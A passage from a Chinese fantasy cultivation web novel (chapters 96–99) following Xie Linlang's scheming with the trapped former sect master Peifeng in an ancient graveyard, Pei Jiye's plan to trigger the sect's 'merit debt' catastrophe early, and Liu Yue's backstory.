所以呢？这老不死的家伙在其中又扮演了什么样的角色？ 第96章 第 96 章 魔修们，有德啊！ 谢琳琅的话简直说到了培风老儿的心口中。 培风老儿也觉得自己这些年过的太惨了, 完全是无妄之灾。 九灵宗为了得到商君冢内混血大妖的图腾之灵，使用百般手段蒙骗回荡在坟场的白骨怨灵，甚至不惜抓捕有才能的修士送进来当祭品, 以平息白骨怨灵的怨恨…… 培风老儿并不觉得此举有什么错误。 修士本就是逆天而行, 损天地而补自身, 修士间的争斗是野性的、纯粹的、野蛮的你死我活的竞争。 那些被抓捕的修士只能说他们实力低微弱小, 大鱼吃小鱼、小鱼吃虾米, 他们魔修本就在这种修行环境中生存。 甚至寂夜宫入门的第一节大课, 就会有宗门宿老过来给新入门的萌新们强调，魔修向来秉承物竞天择适者生存的理念，将这些没有才能的、浪费天地灵力的蠢货送去轮回，也是顺应天道、代天清理污垢和垃圾的仁德之举。 魔修们, 有德啊！ 九灵宗抓了裴霁当祭品, 那是裴霁自己倒霉, 实力和运气太差。 原本九灵宗和寂夜宫是关系亲厚的盟约，安抚蒙骗商君冢内的白骨怨灵, 对寂夜宫也有一桩天大的好处, 所以两边此前商量好了，一人出一半祭品。 魔修内部也有各种争斗和尔虞我诈，寂夜宫和其他魔修门派也有不少摩擦，看谁不顺眼, 抓回宗门塞进坟场里当祭品也是常有的事。 但祭品抓来并不是扔进去就完了, 还需要一个主持祭祀仪式之人。 向来是九灵宗主和寂夜宫主二者轮流过来担任大祭司，上次就轮到了寂夜宫主培风老儿。 一开始见到半死不活的裴霁时, 培风老儿没当回事。 裴霁已然被九灵宗抽取了大半血脉和妖族力量，元婴也已经碎裂，除了燃烧最后一点力量为剑气护身, 再无反抗之力。 然而裴霁却不放弃，他不知怎么藏匿了起来，并莫名其妙继承了商君残余的力量，重塑元婴，还利用商君的权柄，通过【商】夺取了他身上的寂夜宫契约人的身份！ 一瞬间，两人身份颠倒了过来，裴霁成了大祭司，而培风老儿成了祭品！ 培风老儿当时快要气死了，又恨又嫉，好在他毕竟经常来商君冢举行祭祀，比较熟悉这里的情况，趁着裴霁被其他祭品吸引了注意力时，藏匿在了其他坟场缝隙内。 而裴霁则成了寂夜宫主，他不仅带走了剩余的一个来自白骨宗的祭品林郁，还封闭了上古坟场，将九灵宗那边用来出入坟场的引魂灯抢走了！！ 于是培风老儿就被困在了上古坟场。 这么多年，谢玉是他碰到的第一个从外界进入的修士，甚至还是寂夜宫修士！ 培风老儿迫切想要脱离上古坟场，而谢玉是他目前的唯一希望。 此刻听到谢琳琅的开脱之语，培风老儿脸上越发真情实意。 “好孩子，你说的对，这都是九灵宗做的孽，和我有什么关系？我却在这里代九灵宗受过，那裴霁也是，直接找九灵宗的麻烦啊，却将老夫困于此地，真是莫名其妙！” 培风老儿九假一真胡扯八道完了，期待地看着谢琳琅。 “老夫在坟场多年，还不知道外界变成什么样了，你和老夫说一说吧。” 谢琳琅叹了口气，同样开始胡说八道。 “那裴霁倒行逆施，大肆在宫内排除异己、残害忠良，如今寂夜宫内完全不知道宫主已然变了人，这些疯狂之举全都被扣在您的头上了。” 培风老儿脸色难看：“真是该死，老夫必须想办法出去！” 谢琳琅也跟着点头：“是啊，您才是真正的宫主，您的确要出去才行，不知道宫主在坟场多年，可找到出口了吗？” 培风老儿重重叹息：“老夫的确有个办法，只是……唉……” 他并没有细说，反而问谢琳琅，“你是怎么进来的？” 谢琳琅苦笑道：“我就是被那裴霁扔进来的，马上又是寂夜长吟了，裴霁可能想要利用此法进行大清洗吧……” 培风老儿上下打量谢琳琅：“裴霁为何独独忌惮你？” “我擅长炼丹，裴霁曾有一个师弟，我无意间与他师弟相识，并得到了那位前辈的看重，发现了裴霁的身份。” 谢琳琅垂眸，黑色长发垂落下来，遮挡了他半张脸，苍白的脸色对比着如墨色的长发，显露出一种难以形容的美丽和惑人。 “碍着他过去的师弟，裴霁不敢直接对我动手，这才借故将我扔进了上古坟场内，让我自生自灭……” 谢琳琅越说心里越难受，泪水又落了下来。 “我最初很信赖他，哪怕方师兄说宫主有异样，可他擅长招揽人心，我竟鬼迷心窍，信了他的鬼话……” 他看向培风老儿，黝黑的眼眸隐隐泛红，显然是彻底伤了心。 “直到我见到宫主，才明白这么多年全是我自作多情，得知这一切都是弥天大谎！” 谢琳琅声音颤抖，“我入宗门时学的第一课就是要有脑子，不能被激动的情绪所控制，但直到入了魔障、被那裴霁迷了眼，才发现师长教导和真实遇到完全是两码事……” 培风老儿听后也一副深受感动的模样，他唏嘘不已。 “好孩子，你也是被骗了，此事过后你当吸取教训，必然能再进一步。” “可、可我不知道该怎么出去！” 谢琳琅有些焦急和绝望，“您在这里被困多年，外界一无所知，也许我也要被困在这里了，这可如何是好？！” 培风老儿眼神闪烁，他仔细观察谢琳琅，缓缓道：“倒是的确有一法可以脱离上古坟场，之前那裴霁就是用这种办法离开的，但需要你助我一臂之力。” 谢琳琅想也不想就道：“还请前辈不吝赐教！” …… “什么？！” 寂夜宫，符文房内，乐清屏刚结束了今日的研究，出了自己单独的修行静室，来到其他弟子都在的公共符文房，就听到弟子们窃窃私语，讨论着寂夜长吟。 寂夜宫内的高阶修士和嫡传弟子都听闻下一次寂夜长吟要提前到来，不少宗门前辈也提前回了寂夜宫。 符文房、阵阁、丹室等都在加紧囤积各种物资。 尤其是阵阁，很多宗门前辈都进入阵阁帮忙，务必赶在寂夜长吟之前修缮好护持寂夜宫的上古杀阵。 但谁曾想，近日寂夜宫主突兀发布了一道命令，说要进行大海祭，所有弟子都要参与，争取提前开启寂夜长吟！ 乐清屏闻言倒吸一口冷气：“宫主为什么这么做？” 符文房内的其他修士也满心不解：“据说阵阁那边还没完成修缮，若是上古杀阵无法铺开，单凭宫内前辈根本无法扛过这次寂夜长吟啊！” 最近寂夜宫的藏书阁快被人踏平了门槛，到处都是手持寂夜宫前辈们应对寂夜长吟的弟子，大家或者寻找师长询问情况，或者通过古籍翻看过去的经验教训。 寂夜长吟本质上是上古海域与寂夜宫重叠造成的一种时空糅杂现象，在此期间会有生活在上古海域的大妖冲击陆地，而寂夜宫作为南域最大的宗门，自然有护持南部大陆的责任和义务。 ……再说了，这场狩猎还可以获得不少上古材料，对宫内很多弟子来说也是一场大机缘。 总体来说，寂夜宫中低阶弟子对寂夜长吟又是期待又是恐慌。 期待于能通过这场狩猎提升实力，恐慌于准备不当、很可能会死在海兽冲击里。 如今寂夜宫主突然要提前开启寂夜长吟，这让很多中低阶修士纷纷不解、甚至有些不满，他们这些中低阶修士若是准备不完备，很容易成为寂夜长吟中的炮灰和消耗品！ 乐清屏迟疑了一下又问：“之前宗门派遣了不少杰出弟子前往真界参与丹道传承，也不知道那边情况如何了。” 符文房那弟子听到乐清屏如此说，露出了诡异的神色。 “宗门有人在传，宫主提前开启寂夜长吟，就是打算将我们当做消耗品，让那些人回来摘桃子。” 乐清屏有些无语：“去真界的弟子也就是十来个，寂夜宫全部修士加起来也有数百甚至上前，怎么可能让全体修士给那十来个人垫脚？” “那说不通啊！” 符文房弟子的声音更低了，“因为真界和魔域的界门在昨日彻底封闭了！前往真界谋夺丹道传承的弟子们暂时回不来了！” 乐清屏惊愕地看着那弟子，不可思议地说：“界门关闭了？为什么？不对，凭什么啊？他们真界关闭界门，和我们魔域的宗门商量了吗？怎么他们说关闭就关闭啊？” 符文房弟子叹了口气：“现在魔域的几个宗门联合起来商讨此事，据说他们用了特殊秘法，破开了界门阻碍，在和真界的宗门交涉中，也不知道具体情况如何了。” 乐清屏略一沉吟，她索性离了符文房，前往宗门任务派发处。 派发处执勤的修士并不是郑修士，乐清屏上前打探了两句，那执勤修士指了指旁边的角门。 乐清屏心领神会，转而敲响了角门。 里面没人说话，她试着推了推门，门开了。 乐清屏心中大定，她快速闪身进入角门。 郑修士正翘着二郎腿，坐在一个茶几旁，翻看着一本书卷，茶几上放着一壶凉茶，似乎很悠闲的样子。 “郑师兄好轻松。” 乐清屏用抱怨的语气问道：“别人不清楚，想必郑师兄必然知道怎么回事吧？为什么宫主要求提前开启寂夜长吟？宗门前辈竟无人反对？” 第97章 第 97 章 好像他的人生总是差一步…… “你到底怎么想的？！” 林郁围着巨大的赤红色树枝宝座来回转。 “如果要提前进行寂夜长吟, 以寂夜宫现在的情况，根本撑不住，到时候寂夜宫弟子全死完还算是小事, 若是功德反噬, 天道开始清算从立宫开始欠下的劫难……” 寂夜宫收取的弟子大多是南海本地修士, 代代传承下来, 即便很多弟子死在天劫下, 或者因故寿命倒头而死亡, 却也留下了家人、师承和恩惠。 因为总有修士后代没有觉醒魔根，变成了普通人。 也会有普通人突然有了魔根，成了寂夜宫弟子，再施恩于家乡, 即便身死道消了, 留下的好处却由家乡和普通人共享了。 这片土地承了寂夜宫太多的恩德, 与寂夜宫息息相关。 一旦老天爷开始清算寂夜宫欠下的债务和劫难，拔出萝卜带出泥, 几乎整个南海的修士、各个宗门以及普通人都会受到影响！ 但裴寂夜却已经下定决心。 他也曾愤恨过, 明明是天之骄子，只是因为交友不慎，人生被彻底颠覆，一切都没有了, 凭什么？为什么？ 他也曾迷惘过, 他所爱的人与别人结为道侣，他所爱的人依旧安安稳稳地生活在九夏山、那个可能害了他的师叔的势力范围内。 而他却再也无法离开寂夜宫, 被彻底束缚在这片土地上。 他不甘，更无法接受这样的命运。 裴霁曾无所畏惧，敢于面对任何事端。 裴寂夜却遭逢大变, 怯弱地不敢向前一步，蹉跎了近百年。 但在亲眼目睹了昆吾之灵手持的裴面人皮后，裴寂夜的心态发生了翻天覆地的变化。 过往一切的犹豫和内耗全都消失了，仿佛曾经的剑仙裴霁再一次活了过来，那源自心底迸发的喜悦是语言无法表达描述的。 裴寂夜当时说感谢昆吾之灵，并非是虚假之言，他是真这么想的。 但当时他多么感谢上苍，在看到谢琳琅消失在上古坟场裂缝时，就有多么痛苦愤恨。 他明明都要碰触到谢琳了，却终归差了一步。 又是差了一步。 好像他的人生总是差一步。 于是这一次裴寂夜不会再犹豫了，他要勇敢地迈出这一步。 既然谢琳琅落入了上古坟场，那就打开坟场。 去找他，去见他，去将他救出来。 任何畏惧不前和忧虑都是无用之物，他不会再踌躇不前了。 但上古坟场游荡于时间缝隙之中，纵然裴寂夜掌握着伯夏的秘法，却也没那么简单找到谢琳琅所在之地。 裴寂夜前一年才用了秘法，被迫变成了一只杀马特幼鸟，力量本就不足。 这次又在九夏山发疯，再一次变回杀马特幼鸟，完全没有余力再打开上古坟场的大门。 闻净焱能打开，是因为当时他以自身神魂为敲门砖，以大夏釜积累的多年功德力量为薪柴，再加上他自己精通阵法，这才一举成功。 当年裴寂夜能在九灵宗打开上古坟场的大门，一方面他被抽取了大半妖族血脉，整个人都处于半人半妖的状态，并且全身散发着死气，他当时的确快死了，冥冥之中符合了商君冢的开启条件。 最重要的是，九灵宗恰好在筹备下一次祭祀仪式，本就打开了商君冢的时间缝隙。 那条出入通道就在九灵宗内，于是裴寂夜刚用了伯夏秘术，人就掉了进去。 谢琳琅在紫焕山秘境深处、那漫长的廊道上看到的无数剑气激战痕迹，就是裴霁慌不择路、愤而死战时留下的。 如今裴寂夜想要再打开上古坟场的大门，有两种速度最快的方法。 其一，重新回到九夏山，找到大夏釜，再用大夏釜镇压地心火，凝聚大夏釜内的功德，走闻净焱的方式打开上古坟场。 但目前来说完全不可能。 一方面真界大门彻底封闭，裴寂夜又被商君用光了所有储存的力量，无法前往九夏山。 另一方面九夏山出了这么大的乱子，真界诸多宗门还在九夏山帮忙收拾烂摊子。 山火之水涛涛，九夏山的掌门和嫡传弟子死了，几个长老为了防止山火之水流出九夏山，不得不苦苦支撑，九夏山的宗门大阵过载运转着。 若是能再激活大夏釜，倒也可以压制地心火。 可一方面大夏釜已然活了过来，不会接受非伯夏修士的操纵，另一方面作为祭品的大夏遗脉血液已经没有了！被成周遗脉用来换取成周残存力量了！ 失去了祭品，大夏釜完全不可控。 地心火日日夜夜向外喷涌，一旦九夏山的阵法彻底崩塌，以九夏山为中心方圆万里之地将化为火海！ 值此关键时刻，天凌宗主卫景营为了挽回自己一点形象和风度，他携带了天凌宗的镇派神器，成了火山口上的人型镇压法器，暂时延缓了地心火的流淌。 其他宗门趁此机会正在想办法疏导或者压制地心火。 天凌宗主卫景营虽然被成周遗脉揍成了饼，还是裴寂夜将人捞了出来，再一次欠了裴寂夜天大的恩情，可当时只有卫景营站了出来。 再加上此刻卫景营主动镇压地心火之举，论迹不论心，不管卫景营怎么想的，最初的目的是什么，此刻都翻篇了，真界不少宗门还是比较敬重卫景营的。 如果此刻裴寂夜跑过去说，我要用大夏釜开启上古坟场，估计卫景营做梦都会乐醒：他会直接挟大义之名，号召所有仙门正宗声讨裴寂夜。 ……这也是卫景营一开始筹谋的目标。 于是裴寂夜只能退而求其次，提前发动寂夜长吟。 他打算利用寂夜宫独特的功德贷款方式，透支寂夜宫未来的力量于一身，再请商君帮忙定位，以此撞开上古坟场的大门。 换言之，裴寂夜完全将寂夜宫的祭祀仪式当做透支并聚集力量的工具，完全不顾可能随之而来的上古海妖袭击。 只要打开上古坟场的大门，接回谢琳琅就行了。 至于南海和寂夜宫会变成什么样，裴寂夜已经彻底不在乎了。 听了林郁的反驳之语，裴寂夜面无表情，纵然他心里急得恨不得将眼前一切都推平了，立刻冲到上古坟场里找谢琳琅，可他的脑子却异常清醒。 “我知道，但寂夜宫里其他高阶修士都同意了，你觉得是为什么？” 裴寂夜冷笑道：“因为继续拖延下去，他们身上的债务会更多更麻烦！” 每一个寂夜宫的高阶修士身上都背负着沉重的债务，为了提升修为而用未来交换的丹药、符箓、功法甚至推迟天劫等等，都将在未来化为一道道催命利刃。 只要没有飞升成仙，他们就得还这笔债务。 哪怕自己身死道消了，可自己的师长、师兄师姐们留下的债务也会分摊到他们头上。 天长地久，万余年的延迟，导致现在很多新入门的修士，只要将自己的名字写入嫡传弟子的名录，身上就自动背负了高额欠款！ 既然已经背了短时间还不轻的债务，那就再借一些吧。 债务可以推到下面的弟子身上，得到的丹药符文却是自己的，也能提升自己的实力和境界。 也许寂夜宫弟子无法逃脱天劫的惩罚，却可以在内部斗争中活下来啊！ 金丹期修士就有一百五十余年的寿命，加上筑基期的寿命，最少可以活二百多年。 对于一个普通人来说，二百多年寿命不香吗？ 至于欠下的债务，哎，临死前收个徒弟不就行了？ 击鼓传花，如今这带着毒的花传到了裴寂夜手中，但裴寂夜并不想继续传下去了。 在他看来，寂夜宫和当初的九灵宗都是迫害他的凶手。 九灵宗已然覆灭了，寂夜宫总要债务出清，被天道彻底清算一场的。 早晚都得死，那不如死得其所，死之前帮他将谢琳琅救出来，对吧？ “姚黄已经确认天凌宗获知了寂夜宫的秘密，这次在九夏山，卫景营几次想要说出寂夜宫的功德贷款真相，让寂夜宫成为所有人讨伐和反对的目标。” 杀马特幼鸟抖了抖脑袋上的炸毛，冷漠地说：“金翎纵然百般敷衍，也瞒不下去了，那不如将他们也拉入局中。” 林郁癔症了几秒，猛地反应过来：“你打算提前拉爆寂夜宫的烂账，让所有人都遭到天劫清洗，同时催动寂夜长吟提前爆发，让真界那些仙门正宗一起还债？” 裴寂夜轻笑起来，笑声中透着一抹癫狂。 “我说过了，我不好过，那就一起完蛋，所有人都要死，可并不仅仅是指寂夜宫。” 高淳秋背后的秋家是怎么没的？难道天凌宗不知道九灵宗在做什么吗？ 玄命派的修士自称窥伺天命，他们真的不知道九灵宗的猫腻吗？ 还有九夏山内部矛盾，他的师尊神幽真人归来后，竟没有任何一个宗门长辈愿意帮忙，神幽真人一脉的修士仿佛被九夏山其他修士排挤在外。 梦华仙门的高阶修士真的不知道卫景营的情况吗？却依然定下了姚黄与卫景营的婚约，导致姚黄陷入自我怀疑、由此心魔丛生，差一点变成邪修。 凡此种种不胜枚举，不仅是魔域或者寂夜宫，而是整个大陆都到了出清的时候了。 既然如此，那就让他来做这个揭开盖子的罪魁祸首吧。 “别废话了，这是寂夜宫高层统一决议，杀阵的确还未准备好，但我们可以再举行一场盛大的贷款申请，对了，你将消息泄露出去。” 裴寂夜放缓语气，杀马特鸟儿此刻宛如十八层地狱里冲出的恶鬼，语气冰冷、充满杀意。 “务必将情况说的严重些，省的真界那帮家伙不当回事。” 林郁听后苦笑起来：“你这是伤敌八百自损一千。” 可他还能说什么呢？当年若不是裴霁拉扯着，他早已成了上古坟场内的祭品，和其他倒霉的祭品一起成为商君冢里一抹无知无觉的怨灵。 那此后所有的岁月都是赚到的，他早就回本了。 “我知道了，我会利用白骨宗的秘术，将消息传给还滞留在真界的应师尊的。” 林郁迟疑了一下又道：“真界那边也许会聚集人手，赶在寂夜长吟和贷款仪式之前，对寂夜宫进行讨伐，你现在实力缩水成这样，能挡住那些仙门正宗的打杀吗？” 裴寂夜没有回答这个问题，反而道：“这不是挡住的问题，而是天道对寂夜宫的第一场清算，若我们能安然度过，反而可以将债务甩在那群仙门修士身上，岂不美哉？” 林郁一想也对，他欣然道：“我明白了，交给我吧。” 第98章 第 98 章 向死人借债。 上古坟场。 培风老儿自以为和谢琳琅达成共识, 带着谢琳琅脱离了盟约仪式的时间片段。 两人重新回到了满是黑灰色大地的上古坟场。 黑灰色大地一望无际，远处此起彼伏的丘陵延伸到天际，仿佛与天空连为一体。 培风老儿来到一处背光的丘陵前, 抬手一点, 那丘陵竟消失了, 原来这里被培风老儿用障眼法, 设置成了一个休息场所。 谢琳琅的目光落在支撑休息点的材料, 那竟是一根根白色骨头, 看骨头的大小和形状，应该是人骨。 培风老儿用了一种黑色荆棘将这些骨头缠绕起来，搭成了架子，上面又覆盖了黑灰色尘埃, 最后才施展术法, 让其隐藏起来。 注意到谢琳琅在看架子上的人骨, 培风老儿一副唏嘘的样子。 “这都是被困在这里陨落的修士残骸，他们死亡后, 尸骨在坟场内温养多年, 反而不会引起白骨妖灵的注意。” 谢琳琅垂眸，似乎很悲观的样子。 “竟有如此多前辈陨落于此，也不知道我们是否能安然离开。” 培风老儿给谢琳琅打气：“没问题的，一定可以的！” 谢琳琅也懒得清理地上的灰尘, 直接席地而坐, 神色恹恹地说：“现在前辈可以仔细说说脱离坟场的细节了吧？” “上古时代，人族修士生活艰难, 除了面对各种奇异变化的大陆，比如空间乱流，比如混沌风暴, 比如地动山摇等等自然灾害，还要面对魔神后裔以及大妖肆虐。” 培风老儿叹了口气，“那时的人族先贤们太难了，于是就有人提议，人族未来注定是天道主角，为什么不能向未来的后辈们借一些力量，来帮助当时的人们度过难关？” 谢琳琅表情微妙：“于是就有了功德债务秘法？” “没错，你果然是我们寂夜宫的嫡传弟子。” 培风老儿终于放下了最后一丝怀疑。 只有将名字写到嫡传弟子名册上的修士，才会知道寂夜宫内债务的真相，在培风老儿眼中，谢琳琅此刻和他是一条绳子上的蚂蚱，都受到寂夜宫的功德债务束缚。 “后辈修士修行要远比先辈们容易得多，比如咱们现在早已研究出的各种灵药，比如经过先辈总结出的种种功法，我们得了前辈们的恩泽，总要付出点什么，对吧？否则这也不符合天道公平、公正、公开的原则。” 谢琳琅听后表情更微妙了，这位寂夜宫前宫主舌灿如莲，说的真好听，将提前预知未来甚至他人的功德换了概念，变成了顺天而性的善举，似乎魔修很有德一样。 明明是损他人功德而肥己身，倒也不必如此美化。 “你可还记得之前盟约仪式时，那三个来观礼的上古炼气士吗？” “记得。” 毕竟琉月伪装成了那三人的弟子，还远远地冲他挤眉弄眼，谢琳琅当然印象深刻。 “商君希望举行仪式，来加强妖族和人族间的关系，然而不管是上古炼气士还是妖族都不赞同此举，你所见到的那场盟约最终以失败收场，就是因为炼气士和大妖都偷偷修改了仪式。” 培风老儿冷笑道：“商君只是一厢情愿，但农氏部落和鹤族因此仪式而死伤大半，在炼气士和妖族的宣扬中，成了商君残暴的证据，说商君只想利用仪式来提升他自己的修为，实际上根本不在乎人族和妖族的未来。” “最终无数人族修士联合起来，推翻了玄商王朝，而妖族也厌恶利用妖族血脉的商君，冷眼旁观，于是以人为绝对主导的成周王朝成立了。” 培风老儿大致说了一下被隐藏在时间缝隙里的历史真相，“当然这不是重点，重点在于这个向后世修士借用修为的特殊秘法。” 谢琳琅狐疑地看着培风老儿：“我们用这个秘法向更靠后的修士借债？” 培风老儿微微一笑：“为什么一定要向后借呢？” 谢琳琅瞪圆眼睛：“想前借？” “不，是向死人借。” “死人怎么借？” “我们知道这些前辈已然埋骨坟场，可上古坟场本就游荡在真界之外，处于时间缝隙中，外面的修士不知道坟场里全是死人啊。” 培风老儿不愧是寂夜宫的前任宫主，比裴寂夜这个半吊子强多了，“我们只要让真界修士误以为上古坟场内还有存活的上古炼气士，就能向前辈们借债了。” 谢琳琅张了张嘴，突然觉得这条路似乎行得通！ 毕竟很多修士总觉得上古时代的高人总掌握着比现在修士更强更厉害的功法和秘术，若是有人假装上古炼气士诈骗……你别说，你真别说，可能一骗一个准。 谢琳琅又提出了问题：“但我们都已经在上古坟场了，怎么联系外面的修士？难道要坐等不知道哪个脑子抽风的修士召唤上古坟场炼气士，我们再出面吗？” 培风老儿看着谢琳琅，温和地说：“你不是吗？” 谢琳琅惊异地瞪大眼睛：“可我已经知道这里是坟场了啊。” “那你觉得坟场里的前辈们死了吗？” “当然……” 话说到一半，谢琳琅心中一突，他想到了上次在寂夜宫的地宫里看到的寂夜宫主。 那个寂夜宫主有着金色竖瞳，气势强悍中透着肃然和庄重，和谢琳琅印象里的裴霁天差地别。 再比如上次盟约仪式里，坐在商君身侧的叶仙子轻轻一扬手，在场诸多混血后裔的灵魂都落入了她手中，而谢琳琅自己的修为也像是被摁了倒退键一样，重新变成了化神期。 流萤岛的妖蝶前辈和叶仙子是什么关系？叶仙子真的陨落了吗？ “你刚进入坟场，只看到了一场盟约仪式，你真的确定坟场里再无其他生灵了吗？” 培风老儿胸有成竹地说：“你不敢肯定，我都能从死去之人的秘法中抽取图腾之灵，那么上古强者们真的化为坟场里的一捧黑灰之土，而不是以残魂的形式活着吗？” 谢琳琅总算明白了培风老儿的目的了。 这老头兜了这么大一个圈子，其实是想让谢琳琅来举行一个贷款仪式，向死人借债，利用上古坟场的力量，打开商君冢的门，构成一个可以出入的通道。 由于借贷人是谢琳琅，到时候即便打开了上古坟场的大门，谢琳琅也无法离开，只能坐看培风老儿逃出生天。 谢琳琅想了想，点头说：“前辈说的对，是我思虑不周，那我们要怎么做呢？” 培风老儿有些诧异，他没想到谢琳琅这么爽快就答应了。 他试探着说：“打开大门后，我先出去固定好通道，然后你再出来……” 谢琳琅抬眸瞥了培风老儿一眼，他那黝黑的眼眸配着苍白的肤色，反而有种令人泛起淡淡心悸之感。 “可那时我还在向上古炼气士借债，在我还完欠款之前，恐怕无法脱离这片天地吧？前辈又要如何带我出去？” 谢琳琅的质疑反而让培风老儿松了口气，他满口道：“等我出去后，我就能拿回寂夜宫的权柄，以寂夜宫万年积攒的功德，怎么会无法偿还上古炼气士的债务？” 谢琳琅听后心中冷笑，寂夜宫的债务都滚到下一代甚至是下下代了，还要留一部分功德以帮助宗门修士应对天劫，哪里来的多余功德和力量来偿还上古坟场的债务？ 但谢琳琅面上没有提出异议，而是一副我相信宗门的样子欣然同意了。 培风老儿这才开始在黑灰上的土地画各种术式和符文，教导谢琳琅如何布置一个召请上古时代残魂并进行贷款的方法。 谢琳琅默默记忆这些，恍惚发现其中一些符文的构成和整个寂夜宫布局极为相似，都是大大小小各种轮廓进行嵌套，仿佛将无法处理的债务打包再推销给下一个弟子、变成次级贷一样。 谢琳琅听着，竟有些神思不属。 当年裴霁是怎么将培风老儿骗成祭品，他自己跑掉的？ 裴霁那么聪明，又具备剑修绝处逢生的豪赌特性，他接二连三遭遇到倒霉事，总能否极泰来，继而逃出生天吧？ 可是他离开了上古坟场，却成了寂夜宫主，再不是那个九夏山的裴剑仙了。 谢琳琅心中涌上一抹悲意，神情怔怔的，似乎在认真听，又似乎什么都没听。 培风老儿看到这样的谢琳琅，总觉得哪里不对。 他故意提了上次盟约仪式的重祭司，说裴霁上次就变成了重祭司，这才利用祭司的便利性，又用了卑劣手段偷袭，总算跑出了上古坟场，端是卑鄙无耻。 “上古坟场到处漂浮着时间和历史碎片，裴霁来过，他的痕迹就永远留在时间缝隙中，不管他怎么遮掩，坟场依旧记录着他曾为重祭司的情形。” 谢琳琅轻轻嗯了一声，继续埋头背诵功德借债符文阵法。 培风老儿看着谢琳琅这么认真学习的样子，有些不安。 但他又自我安慰，就算谢玉耍把戏，他教导的符文本身就有问题，绝不会再出现类似裴霁的情况了！ 另一边，琉月又一次进入盟约仪式的时间碎片。 他本想试着联系谢琳琅，然而这次盟约仪式如此进行，他见到了一个认真举行祭祀的重祭司，以及在恰当时间说出祝词的掌花使者。 纵然那掌花使者是谢琳琅的面容，但琉月可以肯定，那绝对不是谢琳琅。 上古坟场记录了谢琳琅曾来过的画面，可谢琳琅脱离了这片历史碎片。 同样脱离的还有寂夜宫上一任的培宫主。 琉月忍不住在心里嘀咕，当初裴霁坑了培风老儿，难道风水轮流转，培风老儿要将谢琳琅当做垫脚石，逃出生天了？ 第99章 第 99 章 琉月其人。 琉月是天魅宗弟子, 他是上一代天魅宗内最杰出的天才，出生于阴年阴月阴日阴时。 他的父母在返回老家的途中遭遇强盗，父母皆死, 路过的行人见到一地尸体, 返回去找了官府, 官府派人来收敛尸体, 却发现琉月的母亲已然怀胎九月, 肚子里的孩子并未立刻死亡。 在收尸人碰触到尸体的瞬间, 婴儿掉了出来。 鉴于琉月出生的方式过于诡异和恐怖，他被当地人视做鬼胎。 路过此地的天魅宗修士得知此奇事后，去了育儿堂看了看被所有人厌弃的鬼婴。 一见之下，天魅宗修士惊呼此子天赋惊人。 可惜是个男孩, 若是女孩就更完美了。 天魅宗修士将婴儿带回天魅宗, 十七年后, 琉月进阶金丹期，一颦一笑皆有着强大魅惑力, 实力低于化神的修士都无法摆脱他的魅惑影响。 有如此天资, 琉月的修行之路很顺畅，并一路来到了瓶颈期。 琉月陷入了思考。 由于他天生魅惑性极强，所有人都无法逃脱他的魅惑和笑容，那么人和人之间的联系纯粹只看脸吗？不可能吧？若果真如此, 他当初为何会被认定为鬼婴？ 琉月开始行走魔域和真界, 寻找自己的进阶契机。 他有着众多的裙下之臣，与很多修士的关系都暧昧难分, 他因灵根的缘故渴求着纯粹的阳性灵力，也并不在乎世俗的斥责和谩骂。 对琉月来说，美丽和魅惑的容颜就仿佛其他修士手中的灵剑, 有着强大的力量，是一种可以为自己谋取天材地宝的武器。 既然他天然拥有这份力量，为什么不能使用呢？为什么不能让他人因美丽而为他所用？ 他也从不曾陷入到美丽的陷阱中。 因为他深知，人与人之间的链接有很多方式，有血缘关系，有视觉关系，有因果关系，有恩怨情仇…… 琉月深入感悟人与人之间的纠葛，修为不断增加，渐渐地寻找到了自己的道。 世间万物都是有联系的，就如同命运之线一样，人的变化和发展也会受到各自联系的影响，种种影响汇聚起来，就成了无法挣脱的命运。 但不管琉月如何潜修、如何与众多蓝颜知己进行身体交流，他都无法感悟到纯粹的爱。 他的天然魅惑成了他感悟爱的最大阻碍。 于是琉月找白骨宗交换了一种修行法身的秘法，他制作了好几个法身，用法身去体悟真正的爱，感受爱对人和事的改变，以此摒弃自己的天然魅惑性，从另一个层面来看待世间。 想法挺好，也有了一些收获。 比如隔绝了魅惑和美丽容颜后，往日一见到他就神魂颠倒的修士们似乎也恢复了人样，从最初的戒备、试探再到慢慢认识琉月这个人本身。 这对琉月来说是一种全新的体验。 那些愿意与他交流的修士大多会说他长袖善舞、能言善道、会处理矛盾和纷争。 ——能当海王和众多蓝颜知己聊天，也需要高超情商和手腕的。 一来二去，琉月也交了一二新朋友。 然后麻烦来了。 没有了绝对的美丽和魅惑为武器后，琉月自身的实力还算能看，却又没有超过法身水平（比如筑基期）其他修士太多，是个看起来还行、却也不算惊艳的杰出修士。 当然这也是琉月所要的局面，他不想引人注意。 可对魔修来说，一个修士实力能看却也不是很难打，又不引人注意，没什么靠山……这不是全身上下都写着我好欺负吗？ 在一个月黑风高夜，琉月被人套麻袋偷袭了。 刚开始琉月没当回事，因为对方虽然偷袭他，却没有杀他，而是将他关了起来。 拜本体那么多蓝颜知己所赐，琉月还以为自己要罕见地迎来小黑屋了。 笑死了，本体长袖善舞没有得到这种待遇，怎么法身要被关禁闭了？ 由于在琉月看来，这种事太过奇葩，他反而没什么危机感。 琉月怀揣着一种我倒要看看是怎么回事的念头，假装受到重创，开始反向调查偷袭他的人。 经过几次装模作样地示弱和套话，琉月确认袭击他的人是寂夜宫修士。 琉月颇为不解，寂夜宫的人为什么偷袭抓捕一个普通散修？ 好在没多久，答案自己蹦跶出来了。 原来寂夜宫抓了不少筑基期甚至金丹期的低阶修士，用来当做安抚上古坟场白骨妖灵的祭品啊！ 琉月真的惊了，他知道寂夜宫每隔百年有寂夜长吟这等绝世机缘，可他没想到寂夜宫暗中和九灵宗开了上古坟场，通过坟场攫取上古资源！ 怪不得这些年寂夜宫的实力越来越强了，几乎每个拜入寂夜宫的修士都能得到充足资源，侵吞了不少魔域其他宗门的地盘。 天地灵物有限，寂夜宫培养这么多修士，就意味着别家修士获取资源的可能性大幅度下降，所以不少宗门都盯着寂夜宫。 他们天魅宗内部也讨论过此事，甚至还萌生出派遣一二蓝颜祸水去诱惑寂夜宫修士的想法， 原来答案不在寂夜宫，在九灵宗啊。 这一批祭品里不仅有琉月的法身，还有其他宗门弟子。 其中大部分都是魔域修士，也夹杂着三四个真界修士，彼时琉月对真界修士没什么概念，关注点在白骨宗的林郁身上。 因为琉月的本体和应啸天关系不错。 可惜应啸天只喜欢白骨头架子，虽然也受到琉月的魅惑影响，对琉月有天然好感度，奈何他觉得琉月的骨头架子上居然长了肉和毛，不够好看。 琉月：“……” 他对应啸天的审美不做评价，反正知道林郁是应啸天收的徒弟。 